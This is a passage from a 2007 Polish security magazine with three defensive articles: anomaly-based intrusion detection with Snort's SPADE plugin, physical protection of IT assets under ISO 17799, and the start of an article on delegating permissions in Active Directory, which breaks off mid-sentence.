malii nad klasycznym systemem wy-
korzystującym porównywanie sygna-
tur może być sytuacja, w której do sie-
ci trafia nowy robak. Infekuje on wy-
kryte w sieci systemy komputerowe i
intensywnie prowadzi skanowanie w
celach dalszej propagacji. Ponieważ
złośliwy robak jest świeżo napisanym
programem, klasyczny system IDS
nie może go wykryć z powodu braku
danych o sygnaturach pozwalających
na identyfikację. System wykrywania
anomalii może tu okazać się bardziej
skuteczny. Kiedy robak skanuje sieć
w poszukiwaniu dalszych potencjal-
nych ofiar, może zostać wykryty na
podstawie anomalii związanej z niety-
powo dużym natężeniem ruchu pakie-
tów sieciowych.

Adaptacyjne systemy

detekcji anomalii

Oprócz możliwości korzystania z wie-
dzy człowieka, systemy wykrywania
anomalii mogą aktualizować bazę wie-
dzy samodzielnie. Przykładem takiego
mechanizmu może być eksperymen-
talny filtr SPADE (ang. Statistical Pac-

ket Anomaly Detection Engine). Za-
projektowany został jako wtyczka do
systemu wykrywania intruzów Snort.
SPADE śledzi pakiety sieciowe prze-
syłane przez monitorowany system,
gromadzi ich charakterystyki oraz sta-
tystyki występowania. Podstawowe
cechy, według których klasyfikowane
są pakiety to docelowy lub źródłowy
adres IP oraz porty. Zgodnie z historią
obserwacji, pakiety otrzymują punkta-
cję w kategorii przynależności do klasy
anormalności. Jeśli pakiet o określo-
nych cechach pojawia się bardzo rzad-
ko, otrzymuje wysoką punktację. Jeśli
natomiast dana aktywność występuje
bardzo często, jest wtedy punktowana

Rysunek 1.

Schemat budowy

systemu ekspertowego

Baza danych

"surowych"

Baza wiedzy

Interfejs użytkownika

Procedury

objaśniania

Procedury

wnioskowania

Edytor

bazy wiedzy

hakin9 Nr 5/2007

www.hakin9.org

Obrona

nisko, co oznacza kwalifikację jej w ka-
tegoriach normalnych.

W SPADE zastosowano tabli-

cę prawdopodobieństw powiązaną
z częstością występowania określo-
nych pakietów. Tablica aktualizowa-
na jest w czasie rzeczywistym w pro-
cesie monitorowania przepływu pa-
kietów w sieci. Informacje zawarte w
tablicy pozwalają na określenie staty-
stycznego prawdopodobieństwa wy-
stępowania danego zdarzenia.
Przykład:
System zarejestrował 1000 pakietów.
200 z nich charakteryzował docelowy
adres IP XXX.XXX.XXX.XXX oraz
docelowy port 80. Prawdopodobień-
stwo wystąpienia takiego pakietu rów-
ne jest zatem 20%. Zarejestrowane
zostały także 2 pakiety przesyłane na
adres YYY.YYY.YYY.YYY i port 7898
– prawdopodobieństwo wystąpienia
tego pakietu wynosi zatem 0,2%. Jeśli
prawdopodobieństwo wystąpienia pa-
kietu oznaczymy jako P, a parę adres:
port (będące elementami charaktery-
stycznymi dla pakietu) jako X, wzór na
współczynnik anomalii pakietu opisać
można następującym wzorem:

-log2(P(X))

Zatem współczynnik anomalii pakie-
tu przy prawdopodobieństwie wystą-
pienia równym 20% będzie wynosił:

-log2(0,20) = 2,32

Odpowiednio współczynnik ten przy
prawdopodobieństwie wystąpienia
równym 0,2% wynosi:

-log2(0,002) = 8,97

Wartość 2,32 określa zwykły pakiet,
nie posiadający cech anormalnych.
Wartość 8,97 to już zdecydowana ano-
malia. W celu uściślenia kwalifikacji
określonych zdarzeń SPADE pozwala
na unormowanie współczynnika anor-
malności w taki sposób, aby przyjmo-
wał on wartości z zakresu od 0 do 1.

Wykres zależności współczynni-

ka anormalności w stosunku do praw-
dopodobieństwa zajścia określone-
go zdarzenia przedstawia Rysunek 2.
Jak widać, im większe jest prawdopo-

dobieństwo wystąpienia zdarzenia,
tym niższy stopień anormalności zo-
stanie mu przypisany.

Instalacja

i konfiguracja SPADE

Ważną cechą SPADE jest szybki al-
gorytm klasyfikatora dokonującego
detekcji anormalnych pakietów i przy-
pisywania ich do określonej katego-
rii. Dzięki temu analiza pakietów trwa
bardzo krótko. Dodatkowo charak-
teryzuje go stosunkowo szybki czas
uczenia się, co powoduje, że pierw-
sze wartościowe komunikaty genero-
wane są w krótkim czasie od jego uru-
chomienia. Omawiane elementy są
bardzo istotne – klasyfikatory powinny
być budowane w taki sposób, aby mi-
nimalizować zapotrzebowanie na za-
soby pamięci oraz procesora.

Do działania SPADE niezbędny

jest Snort. Jest to system wykrywa-
nia intruzów, którego instalacja i kon-
figuracja opisywana była w numerze
3/2003 pisma Hakin9.

Instalacja SPADE sprowadza

się do pobrania go ze strony

http://cvs.snort.org/viewcvs.cgi/

*checkout*/snort/contrib/Attic/Spa-

de-092200.1.tar.gz?rev=1.1&se-

a r c h = N o n e & h i d e a t t i c = 1& o n -

ly _with_tag=SNORT_2_3&con-

tent-type=application/x-tar, rozpako-
wania, a następnie wydania polecenia
w katalogu z rozpakowaną wtyczką:

make SNORTBASE= sciezka_do_zrodel_
snorta

Po wykonaniu tego kroku należy
przeprowadzić kompilację progra-
mu Snort.

Aby uruchomić SPADE do pliku

konfiguracyjnego Snorta dodać na-
leży następującą linię:

preprocessor spade: <anom-report-
thresh> <state-file> <log-file>
<prob-mode> <checkpoint-freq>

Znaczenie poszczególnych argu-
mentów jest następujące:

•

<anom-report-thresh>

– oznacza

dolną granicę współczynnika
anormalności zdarzenia, na któ-
re SPADE będzie reagował alar-
mem. Ustawienie wartości ujem-
nej spowoduje, że alarmy wca-
le nie będą generowane. War-
tość ujemna jest więc zalecana
w początkowej fazie uczenia się,

•

<state-file>

– określa nazwę pli-

ku, w którym przechowywa-
na będzie tablica prawdopodo-
bieństw, w jakiej zapisywane
są częstości występowania pa-
kietów o określonej charaktery-
styce. Dzięki temu możliwe jest
odtworzenie stanu analizatora po
restarcie systemu,

•

<log-file>

– definiuje nazwę pliku,

w którym zapisywane będą rapor-
ty. Jeśli argument ten będzie miał
postać -, raporty generowane bę-
dą na standardowe wyjście,

•

<prob-mode>

– określa zbiór cech

według których SPADE oceniał

Rysunek 2.

Zależność współczynnika anormalności zdarzenia w stosunku

do prawdopodobieństwa jego zajścia w SPADE

Współczynnik anormalności i zdarzenia

Prawdopodobieństwo wystąpienia zdarzenia

0.2

0.4

0.6

0.8

f(x)=-log

(x)

Adaptacyjne techniki wykrywania intruzów

hakin9 Nr 5/2007

www.hakin9.org

będzie pakiet. Możliwe są czte-
ry warianty: 0 – aproksymacja
wg. sieci Bayesowej parametrów:
źródłowy IP, źródłowy port, doce-
lowy IP, docelowy port,

• 1 – źródłowy IP, źródłowy port,

docelowy IP, docelowy port,

• 2 – źródłowy IP, docelowy IP, do-

celowy port,

• 3 – docelowy IP, docelowy port.

Domyślnie ustawiony jest tryb o nu-
merze 3. Dobór najlepszego trybu
możliwy jest tylko poprzez wykona-
nie testów i porównanie skuteczno-
ści każdego z nich. Należy pamię-
tać, że po zmianie trybu konieczne
jest oczyszczenie pliku tablicy praw-
dopodobieństw (state-file).

•

<checkpoint-freq>

– określa czę-

stotliwość aktualizacji pliku tabli-
cy prawdopodobieństw. Wielkość
ta wyrażana jest ilością pakietów
(przykładowo – ustawienie war-
tości 10000 spowoduje, że tabli-
ca będzie aktualizowana co 10000
pakietów analizowanych przez
SPADE).

Przykładowe ustawienie może wyglą-
dać następująco:

preprocessor spade:

8.5 spade.rcv spade-log.txt 3 10000

Dobór progu

generowania alarmów

Problemem z jakim zetkniemy się w
testach SPADE będzie z pewnością
kwestia doboru progu współczynni-
ka anomalii, po przekroczeniu któ-
rego generowany ma być alarm.
Zbyt niski próg wywoła zalanie lo-
gów fałszywymi alarmami, zbyt wy-
soki spowoduje natomiast, że wie-
le anomalii pozostanie nie zgłoszo-
nych. Samodzielny dobór tej granicy
byłby bardzo trudny, ponieważ każ-
da sieć charakteryzuje się nieco in-
nymi parametrami dotyczącymi ko-

rzystania z poszczególnych usług,
a co za tym idzie – typów i często-
ści przesyłanych pakietów. SPADE
oferuje bardzo użyteczne wsparcie
w zakresie rozwiązania tego pro-
blemu – możliwość automatyczne-
go doboru progu generowania alar-
mów. Mechanika tego rozwiązania
działa również na zasadzie uczenia
się programu.

Aby włączyć funkcję nauki progu,

do pliku konfiguracyjnego Snorta do-
dać należy linię:

preprocessor spade-threshlearn:
<num-scores> <obs-time>

Wpis ten oznacza, że SPADE ma
określić wartość progu, która po-
trzebna jest do wygenerowania

<num-

scores>

punktów w czasie

<obs-time>

Domyślną wartością dla

<num-scores>

jest 200, a dla

<obs-time>

24 godzi-

ny. Wygenerowanie w ciągu 24 go-
dzin raportów o anormalnych pakie-
tach, których łączna punktacja wyno-
si 200, wydaje się być wartością roz-
sądną. Raport o optymalnej wartości
progu jest zapisywany do pliku logo-
wania.

Adaptacyjne kontra

klasyczne systemy

wykrywania intruzów

Metodologia adaptacyjnego rozpo-
znawania nowych klas ataków na
podstawie obserwacji systemu ope-
racyjnego lub sieci nie jest nieste-
ty pozbawiona wad. Do najważniej-
szych wad należy fakt generowa-
nia większej ilości fałszywych alar-
mów niż ma to miejsce w przypad-
ku klasycznego systemu, oparte-
go o porównywanie sygnatur. Poza
tym w systemach wykrywania ano-
malii problemy stwarza definicja re-
guł normalności danego protokołu.
Charakterystyczne cechy każdego
protokołu muszą być właściwie zde-

finiowane i przetestowane pod ką-
tem poprawności – i tu pojawia się
nowy problem. Implementacje pro-
tokołów sieciowych różnych produ-
centów nie są identyczne. Subtelne
różnice mogą wywoływać kolejne
fałszywe alarmy, dlatego tak waż-
na jest kwestia uczenia się systemu
IDS. Z drugiej strony zaletą w takim
podejściu jest szybsze działanie sil-
nika dokonującego analizy zdarzeń.
Jeśli akceptowalne formy danego
protokołu zostaną dobrze zdefinio-
wane, IDS będzie działał znacznie
szybciej niż model oparty na sygna-
turach, ponieważ nie będzie musiał
przeszukiwać listy sygnatur dla każ-
dego potencjalnego wariantu ataku.
Klasyczny system wykrywania intru-
zów wymaga z kolei większego na-
kładu pracy związanego z jego pie-
lęgnacją, aby mógł działać dobrze.
Administrator musi zbierać informa-
cje o nowych formach ataków i uak-
tualniać reguły dotyczące ich wy-
krywania. Poza czasochłonnością
tych działań pojawia się dodatko-
wo krytyczny okres – od momentu
powstania nowego zagrożenia, do
czasu gdy baza sygnatur systemu
IDS zostanie uaktualniona. W okre-
sie tym, klasyczny system jest prak-
tycznie bezbronny.

Na podstawie powyższego po-

równania, wyciągnąć można na-
stępujący wniosek: najlepszy rezul-
tat daje połączenie obu metodolo-
gii. Adaptacyjne systemy wykrywania
anomalii pracujące samodzielnie nie
będą skuteczne. Jeśli natomiast będą
działać jako uzupełnienie klasyczne-
go paradygmatu wykrywania zagro-
żeń, znacząco wpłynie to na zwięk-
szenie bezpieczeństwa.

Podsumowanie

Opisana metodologia działania ada-
ptacyjnego systemu wykrywania in-
truzów, mimo że wciąż jeszcze trak-
towana jest jako testowa, wydaje się
być dobrym kierunkiem rozwoju w
dziedzinie zabezpieczeń systemów
informatycznych. Stanowi istotne
uzupełnienie metod klasycznych,
które wykazują coraz więcej słabo-
ści w konfrontacji z ewoluującymi w
szybkim tempie formami ataków. l

O autorze

Aktualnie jest studentem drugiego roku SUM Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do jego głównych zainteresowań należy programowanie, administra-
cja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego.
kontakt z autorem: deadcraft@ib.com.pl

www.hakin9.org

hakin9 Nr 5/2007

Obrona

chrona fizyczna jest najstarszą, ale
ciągle pewną metodą ochrony zaso-
bów materialnych i informacyjnych.

Jeżeli w organizacji nie wdrożono podstawo-
wych środków ochrony fizycznej, to nie można
mówić o jakimkolwiek bezpieczeństwie. Ochro-
na fizyczna stanowi pierwszą linię obrony insty-
tucji przed zagrożeniami.

Organizacje, które kładą nacisk na ochro-

nę teleinformatyczną zasobów IT, często nie
doceniają mechanizmów ochrony fizycznej.
Brak odpowiednich zabezpieczeń fizycznych
może nieść za sobą katastrofalne skutki, po-
cząwszy od kradzieży sprzętu, komputerowych
nośników informacji, po uszkodzenia wskutek
awarii zasilania lub systemu klimatyzacji. Brak
zasobów, ich uszkodzenie, czy też niedostęp-
ność może zakłócić ciągłość funkcjonowania
instytucji i realizowania przez nią zadań sta-
tutowych.

Projektując system ochrony fizycznej za-

sobów IT należy kierować się wymaganiami
biznesowymi, wymaganiami prawa i tzw. naj-
lepszymi praktykami w tym zakresie. Można
skorzystać z zaleceń zawartych w normie ISO
17799, a zwłaszcza w rozdziale Bezpieczeń-
stwo fizyczne i środowiskowe. Punktem wyjścia

do zbudowania skutecznego sytemu ochrony
fizycznej zasobów IT jest przeprowadzenie
analizy ryzyka. Poziom ochrony zasobów IT
(sprzętu komputerowego, sprzętu sieciowego
– urządzeń aktywnych, sprzętu telekomuni-
kacyjnego, okablowania, oprogramowania,
komputerowych nośników informacji, licencji
na oprogramowanie, dokumentacji technicznej,
systemów zasilania i klimatyzacji, personelu
IT, itp.) zależy od poziomu ryzyka związanego
z materializacją zagrożeń.

Skuteczny system ochrony fizycznej ma

uniemożliwić osobom nieuprawnionym dostęp
do elementów systemów i sieci teleinforma-

Ochrona fizyczna

zasobów IT

Andrzej Guzik

stopień trudności

Ochrona fizyczna jest najstarszą metodą ochrony zasobów

materialnych i informacyjnych. Stanowi ona pierwszą linię

obrony instytucji przed zagrożeniami. Zgodnie z normą ISO

17799 jej celem jest zapobieganie nieuprawnionemu dostępowi,

uszkodzeniom i ingerencji w pomieszczenia instytucji i jej

informacje.

Z artykułu dowiesz się

• jak dobrać zabezpieczenia czynne (osobowe)

i bierne (budowlano-mechaniczne i elektronicz-
ne) zasobów IT instytucji.

Powinieneś wiedzieć

• znać podstawy systemu zarządzania bezpie-

czeństwem informacji.

Ochrona fizyczna zasobów IT

hakin9 Nr 5/2007

www.hakin9.org

tycznych. Podstawową zasadą, ja-
ka musi być uwzględniona przy pro-
jektowaniu systemu kontroli dostę-
pu jest jasny i spójny podział obiektu
na strefy zabezpieczające. Popraw-
nie wyznaczone strefy dostępu (wła-
ściwie zlokalizowane), odpowiednio
zabezpieczone pomieszczenia oraz
skuteczna kontrola dostępu (kontro-
la wejść i wyjść oraz przebywania)
gwarantują realizację przyjętego w
organizacji poziomu bezpieczeństwa
zasobów IT. Strefy dostępu, w za-
leżności od sposobu ochrony, moż-
na podzielić na: strefy ogólnodostęp-
ne, strefy z ograniczonym dostępem,
strefy szczególnie chronione, strefy
zastrzeżone. Następnie należy każ-
dej ze stref przyporządkować odpo-
wiednią klasę środków ochrony. Doj-
ście do najbardziej chronionych stref
i pomieszczeń powinno przebiegać
przez więcej niż jeden punkt kontro-
li zależnie od ważności miejsca chro-
nionego. Eliminuje się wtedy możli-
wość przypadkowego ominięcia po-
jedynczego punktu kontroli. Nale-
ży również do minimum ograniczyć
ilość osób mających dostęp do klu-
czowych pomieszczeń.

Dla większej skuteczności syste-

mu kontroli dostępu wskazane jest
zainstalowanie centralnego syste-
mu kontroli dostępu, a nie pojedyn-
czych urządzeń (czytników sterują-
cych poszczególnymi bramkami, czy

też drzwiami) oraz specjalizowane
oprogramowanie do analizy zdarzeń
z narzędziami pozwalającymi wy-
chwycić nieautoryzowany dostęp do
kluczowych miejsc w organizacji.

Aby system ochrony fizycznej

spełniał swoje zadania, środki ochrony
(mechanizmy zabezpieczające) mu-
szą być kompleksowe, komplementar-
ne (wzajemnie się uzupełniać), racjo-
nalne (zaakceptowane przez użytkow-
ników) i efektywne (koszt zabezpie-
czeń nie może przekraczać wartości
chronionych zasobów) oraz obejmo-
wać wszystkie rodzaje zabezpieczeń,
począwszy od zabezpieczeń organi-

zacyjnych (często lekceważonych),
poprzez zabezpieczenia budowlane,
mechaniczne, elektroniczne, a skoń-
czywszy na ochronie fizycznej (czyn-
nej). Ważne jest wreszcie zagwaran-
towanie optymalnych warunków pracy
dla sprzętu elektronicznego – stąd za-
lecana jest instalacja klimatyzacji oraz
zapewnienie awaryjnego zasilania.

Przystępując do budowy sys-

temu ochrony fizycznej zasobów
IT powinniśmy odpowiedzieć sobie
na następujące pytania: Co chroni-
my? Przed czym chronimy? W jaki
sposób chronimy? Z jakim skutkiem
chronimy?

Rysunek 1.

Zarządzanie ryzykiem

Związki w zarządzaniu ryzykiem

Wykorzystują

chronią przed

zwiększają

zmniejszają

analiza

wskazuje

realizowane przez

zwiększają

narażają

posiadają

ZAGROŻENIA

PODATNOŚCI

ZASOBY

RYZYKA

ZABEZPIECZENIA

WYMAGANIA

W ZAKRESIE

OCHRONY

WARTOŚCI

(stąd potencjalnie

następstwa dla

działania instytucji)

Tabela 1.

Kategoria zagrożonej wartości, a wartości podlegające ochronie

Kategoria

zagrożonej

wartości

Wartości podlegające ochronie

mienie małej wartości, które można zastąpić

mienie średniej wartości, które można wymienić lub zastąpić
dokumenty lub przedmioty o wartości zabytkowej lub muzealnej, występujące w powtarzalnych eg-
zemplarzach lub które można odtworzyć
dokumenty stanowiące tajemnicę służbową

mienie dużej wartości
dokumenty lub przedmioty mające zabytkowa wartość, niepowtarzalne w kraju
dokumenty o dużej wartości, których uszkodzenie, zniszczenie lub kradzież jak również poznanie
może prowadzić do dużych szkód
życie ludzi związanych z wartościami wymienionymi w punktach a, b, c

mienie bardzo dużej wartości
przedmioty zabytkowe stanowiące dziedzictwo kultury światowej
dokumenty, których kradzież jak również poznanie lub przejrzenie przez osoby niepowołane może
zagrażać porządkowi społecznemu, osłabieniu obronności albo egzystencji państwa
życie wielu ludzi

hakin9 Nr 5/2007

www.hakin9.org

Obrona

Analiza ryzyka powinna obej-

mować analizę wartości zasobów
IT (chronimy tylko zasoby warto-
ściowe, słabo zabezpieczone, za-
grożone), analizę zagrożeń (powin-
niśmy brać pod uwagę tylko zagro-
żenia realne, a nie hipotetyczne),
analizę podatności (słabości zaso-
bów) oraz analizę aktualnego sta-
nu zabezpieczenia zasobów IT (za-
bezpieczenia organizacyjne i tech-
niczne). Następnie, na podstawie
wyników analizy ryzyka, powinni-
śmy dobrać zabezpieczenia tak,
aby zminimalizować ryzyko zwią-
zane z wykorzystaniem podatno-
ści przez zagrożenia. Ryzyko, któ-
re pozostaje po wprowadzeniu za-
bezpieczeń, nazywamy ryzykiem
szczątkowym.

Zaprojektowane zabezpiecze-

nia należy ująć w planie zabezpie-
czeń (planie ochrony zasobów IT)
oraz opracować harmonogram ich
wdrożenia. Polska norma, PN-93
E-08390/14 Systemy alarmowe
Wymagania ogólne Zasady sto-
sowania wyróżnia, ze względu na
stopień zagrożenia osób i wartość
szkód, cztery kategorie zagrożo-
nych wartości, od Z1 do Z4, odpo-

wiadające różnym poziomom ryzy-
ka występującym w dozorowanych
obiektach.

Do oceny skuteczności zabez-

pieczenia określonej kategorii za-
grożonej wartości norma ustala
trzy poziomu bezpieczeństwa (niż-
szy, normalny, wyższy) chronio-
nych zasobów i przyporządkowuje
im odpowiedniej klasy środki elek-
troniczne wspomagające ochronę
fizyczną, w postaci stosownej klasy
systemów alarmowych (systemów
sygnalizacji włamania i napadu), od
SA1 do SA4.

Do szacowania wartości wymier-

nej mienia (chronionych zasobów)
można posłużyć się wielokrotnością
współczynnika N, definiowanego ja-
ko średni roczny dochód pracownika
w pięciu podstawowych działach go-
spodarki (publikowany przez ZUS).

Na potrzeby niniejszego artykułu

przyjęto cztery poziomy ryzyka (ni-
skie, średnie, wysokie, bardzo wyso-
kie) i odpowiadające mu cztery kate-
gorie zagrożonej wartości (od Z1 do
Z4) oraz cztery klasy środków ochro-
ny: zabezpieczenia pierwszego typu
(BM1, E1, OF1), klasa – popularna,
zabezpieczenia drugiego typu (BM2,

E2, OF2), klasa – standardowa, za-
bezpieczenia trzeciego typu (BM3,
E3, OF3), klasa – certyfikowana i za-
bezpieczenia czwartego typu (BM4,
E4, OF4), klasa – specjalna.

Po dokonaniu klasyfikacji zaso-

bów IT można je przyporządkować
do określonej kategorii zagrożonej
wartości i w prosty sposób dobrać,
adekwatne do poziomu zagroże-
nia (poziomu ryzyka), stosowne za-
bezpieczenia, pierwszego, drugie-
go, trzeciego lub czwartego typu,
w postaci odpowiednich zabezpie-
czeń czynnych – osobowych (od
OF1 do OF4) i zabezpieczeń bier-
nych: budowlano-mechanicznych (od
BM1 do BM4) oraz elektronicznych
(od E1 do E4).

Środki ochrony fizycznej (czyn-

nej) obejmują: dozorców, portierów,
recepcjonistów, wartowników, patrole
interwencyjne, pracowników ochrony
fizycznej pierwszego i drugiego stop-
nia, SUFO (specjalizowane uzbrojo-
ne formacje ochronne), odpowiednio
do klasy środków ochrony (1, 2, 3
lub 4). Środki ochrony budowlano-
mechaniczne obejmują: ogrodzenia,
bramy, ściany, stropy, drzwi, okna,
szyby, zamki, kłódki, kraty, żaluzje,

Tabela 2.

Poziom bezpieczeństwa chronionych zasobów (obiektu), klasa systemu alarmowego, a kategoria

zagrożonej wartości

Kategoria

zagrożonej

wartości

Poziom bezpieczeństwa

niższy

normalny

wyższy

uzyskany przez system alarmowy klasy

nieokreślonej

SA1

SA2

SA1

SA2

SA3

SA2

SA3

SA4

SA3

SA4

SA4+(SA3+SA2)

Tabela 3.

Szacowanie wartości wymiernej mienia (chronionych zasobów)

Kategoria zagrożonej wartości

Szacowana wartość mienia

wartość ≤ 10 x N

10 x N < wartość ≤ 100 x N

100 x N < wartość ≤ 1000 x N

wartość > 1000 x N

Ochrona fizyczna zasobów IT

hakin9 Nr 5/2007

www.hakin9.org

rolety, kasety, sejfy, szafy metalowe
do przechowywania wartości, szafy
ognioodporne do przechowywania
komputerowych nośników informa-
cji, odpowiednio do klasy środków
ochrony (1, 2, 3 lub 4). Środki ochro-
ny elektronicznej obejmują: systemy
sygnalizacji włamania i napadu,
systemy kontroli dostępu, systemy
telewizji dozorowej, systemy sygnali-
zacji pożarowej, dźwiękowe systemy
ostrzegawcze, odpowiednio do klasy
środków ochrony (1, 2, 3 lub 4).

Projektując system ochrony fi-

zycznej nie należy zapominać o
ochronie przeciwpożarowej zaso-
bów IT. Powinno się zabezpieczyć
obiekt, lub co najmniej kluczowe po-
mieszczenia, czujkami systemu sy-
gnalizacji pożarowej oraz systemem
gaśniczym, np. serwerownie, cen-
trale telefoniczne, pomieszczenia,
w których przechowuje się kopie za-
pasowe danych, pomieszczenia, w
których zlokalizowano sprzęt tele-
komunikacyjny – urządzenia aktyw-
ne, szafy dystrybucyjne, urządze-
nia awaryjnego zasilania (centralny
UPS, agregat prądotwórczy). Ochro-
na przeciwpożarowa nie wchodzi w
skład ochrony fizycznej, regulują ją,
m.in. przepisy: Ustawy z dnia 24
sierpnia 1991 r. o ochronie przeciw-
pożarowej, Rozporządzenie MSWiA
z dnia 21 kwietnia 2006 r. w spra-

wie ochrony przeciwpożarowej bu-
dynków, innych obiektów budowla-
nych i terenów oraz Rozporządze-
nie MI z dnia 12 kwietnia 2002 r.
w sprawie warunków technicznych,
jakim powinny odpowiadać budynki
i ich usytuowanie.

Ważnym aspektem ochrony fi-

zycznej jest system przepustek (iden-
tyfikatorów) lub inny system upraw-
niający do wejścia, przebywania i wyj-
ścia ze stref dostępu, zasady przy-
znawania i odbierania uprawnień do
przebywania w strefach dostępu oraz
okresowa kontrola uprawnień. W ten
sposób możemy mieć pewność, że
uprawnienia dostępu w systemie ma-
ją tylko upoważnione osoby. Bardzo
przydatne są tu systemy telewizji do-
zorowej wraz z chronioną rejestracją
obrazu. Cyfrowe rejestratory obrazu
zapewniają długi czas nagrań i mogą
zostać użyte do celów dowodowych
w przypadku incydentu.

Należy również wdrożyć procedu-

ry organizacyjne obejmujące: eskorto-
wanie gości, zamykanie drzwi i okien
w pomieszczeniach, zarządzanie klu-
czami do pomieszczeń (szczelny sys-
tem przechowywania kluczy do po-
mieszczeń chronionych użytku bieżą-
cego i zapasowych), nadzór nad pra-
cą personelu pomocniczego, zwłasz-
cza sprzątaniem pomieszczeń i pra-
cą personelu serwisowego, przecho-
wywanie kopii zapasowych w zabez-
pieczonych pomieszczeniach (jak naj-
bardziej odległych w pionie i poziomie
od miejsc ich wytworzenia) w specjal-
nych szafach ognioodpornych, służą-
cych do przechowywania komputero-
wych nośników informacji, zapewnie-
nie aktualnej dokumentacji technicz-
nej (zasilania, okablowania, sprzętu,
oprogramowania, planów awaryjnych
i planów ciągłości działania).

Najsłabszym ogniwem każdego

systemu bezpieczeństwa jest czyn-
nik ludzki. Należy o nim pamiętać
już na etapie rekrutacji i zatrudnia-
nia personelu IT (należy zatrudniać
właściwych ludzi, sprawdzać ich
referencje z poprzednich miejsc pra-
cy, szkolić personel IT z procedur
bezpieczeństwa, ciągle podnosić
jego świadomość, rozdzielać kluczo-
we obowiązki pomiędzy dwóch pra-
cowników zgodnie z zasadą „dwóch
par oczu”).

Wszyscy pracownicy IT powinni

podpisać stosowne zobowiązania
o poufności, a z kluczowymi pracow-
nikami IT należy podpisać umowy
o zakazie konkurencji.

Reasumując, zaprojektowanie sku-

tecznego sytemu ochrony zasobów IT
wymaga zastosowania właściwej me-
todyki obejmującej następujące dzia-
łania:

• klasyfikacja zasobów IT (analiza

wartości zasobów),

• analiza zagrożeń,
• analiza podatności,
• analiza aktualnego stanu bezpie-

czeństwa,

• ustalenie wymaganego poziomu

ochrony zasobów IT,

• określenie kategorii zagrożonej

wartości,

• ustalenie klas środków ochrony,
• opracowanie planu zabezpieczeń

(planu ochrony zasobów IT),

• wdrożenie zabezpieczeń,
• monitorowanie zabezpieczeń,
• doskonalenie systemu zabezpie-

czeń.

Poddaję to pod rozwagę osobom od-
powiedzialnym za bezpieczeństwo
fizyczne zasobów IT w organiza-
cjach. l

O autorze

Andrzej Guzik – audytor systemów za-
rządzania jakością i bezpieczeństwem
informacji, specjalista w zakresie ochro-
ny informacji prawnie chronionych,
redaktor portalu http://www.ochronain-
formacji.pl.
Kontakt z autorem a.guzik@ochrona-
informacji.pl

Tabela 4.

Wymagana klasa środków ochrony, a kategoria zagrożonej wartości

Kategoria zagrożonej wartości

Wymagane klasy środków ochrony

BM1

OF1

BM2

OF2

BM3

OF3

BM4

OF4

www.hakin9.org

hakin9 Nr 5/2007

Obrona

iele przedsiębiorstw używających
serwerów pocztowych Microsoft

Exchange z Active Directory bory-

ka się z mocą uprawnień. Spowodowane jest
to po części złożonością modelu delegowa-
nia uprawnień dla wielopoziomowej organiza-
cji. Najtrudniej jest właściwie dopasować mo-
del do własnej organizacji. Nie jest to jednak
niemożliwe, istnieje kilka prostych sposobów,
jakie mogą być zastosowane z lekką modyfi-
kacją dla większości struktur IT. Każde śro-
dowisko jest inne w sposobie, kształcie,
a także formie. Jednak największe środowiska
są do siebie podobne pod kątem wyzwań IT.

Dla przykładu, wiele organizacji jest po-

dzielonych geograficznie na regiony, niezależ-
ne zespoły inżynierów, operacyjne, wsparcia
IT, będące własnymi Business Units. A tak-
że wiele dużych organizacji musi radzić so-
bie z takimi sprawami, jak eskalacja upraw-
nień, nadużywanie kont systemowych o wy-
sokich uprawnieniach i kwestiach związanych
z zaufaniem.

Zaufanie jest interesującym zwrotem i

często bywa wykorzystywane w utrzymy-
waniu wielu gałęzi drzewa Active Directory.
Problematyka ta często ma wielki wpływ na

dostępność systemu innej dywizji czy regio-
nu. Powszechnie spotykane jest, że wystę-
pują różne poziomy dostępu pomiędzy gra-
nicami organizacyjnymi oraz braki w wiedzy
dotyczącej specyficznych systemów wyma-
ganych, by wspierać konkretny region lub
organizację. Dodatkowo, dywizje często nie
chcą oddać uprawnień administratorskich do
centrali firmy.

W międzyczasie dla każdego wdrożenia

Active Directory administratorzy muszą zde-
finiować zasady współdziałania dla aplikacji,

Active Directory

– delegowanie uprawnień

Paweł Baszkowski IT Studio

stopień trudności

Delegowanie uprawnień w AD to przydatne przypisywanie

pewnej liczby spraw związanych z bezpieczeństwem i ułatwianie

zarządzania zadaniami. Dzięki właściwemu zdelegowaniu

uprawnień w AD masz możliwość określenia wybranych ról

w środowisku, ograniczenia natłoku i błędów administracyjnych

oraz zdefiniowanie zasad uprawnień w twojej sieci.

Z artykulu dowiesz sie

• na temat Active Directory,
• sposobu delegowania uprawnień w AD,
• definiowanie roli administratora,
• tworzenie OU i modelu bezpieczeństwa.

Powinieneś wiedzieć

• zasady administrowania siecią,
• dzielenia obowiązków,
• definiowania uprawnień,
• wstępna znajomosc IT/Telek., m.in. AD.

Active Directory – delegowanie uprawnień

hakin9 Nr 5/2007

www.hakin9.org

które utylizują infrastrukturę Active

Directory. Niestety, często spoty-
kany cel w procedurach instalacji
aplikacji to stworzenie konta sys-
temowego jako członka grupy Do-

main Admins. Problem, jaki się z
tym wiąże to fakt, że te konta ma-
ją podstawowe uprawnienia. Rów-
noważąc uprawnienia tych kont
z uprawnieniami Domain Admini-
strator stwarzamy znaczące za-
grożenie dla środowiska IT. Konta
systemowe z łatwością mogą być
nadużywane poprzez niebezpiecz-
nych lub beztroskich administrato-
rów lub wykorzystane jako środek
do osiągnięcia celu przez ataku-
jących, którzy odkrywają podsta-
wowe sprawy związane z bezpie-
czeństwem w aplikacji.

Podczas gdy te próby mogą się

okazać nieprzezwyciężone, określa-
ją one scenariusz standardowy dla
implementowania modelu delego-
wania w Active Directory (AD). Stwo-
rzenie modelu delegowania upraw-
nień jest interaktywnym projektem.
Zalecane jest wykonanie poniższych
predefiniowanych kroków:

• określić role administracyjne (IT)

w twej organizacji,

• określić Organizational Unit (OU)

i model Security Group,

• ustanowić drugorzędne konta dla

IT administratorów,

• delegować uprawnienia.

Jest to trudny proces. Przyjrzyjmy
się szczegółowo tym krokom.

Określenie ról

Proces definiowania rozpoczyna się
poprzez jednoczesne zrozumienie
administrowania danymi i usługami.
Te koncepcje są podstawą każdego
prawidłowego modelu delegowania
uprawnień Active Directory. Admini-
stracja usługami to zarządzanie kry-
tycznymi katalogami usług, struktur
komponentów, takich jak serwery

Exchange i kontrolery domeny. Za-
rządzanie danymi to zarządzanie
obiektami, takimi jak konta poczto-
we i konta użytkowników, które re-
zydują z tymi usługami. Dzięki za-
kresowi Active Directory, admini-

stratorzy usług są ciągle odpowie-
dzialni za dostawy i osiągalność
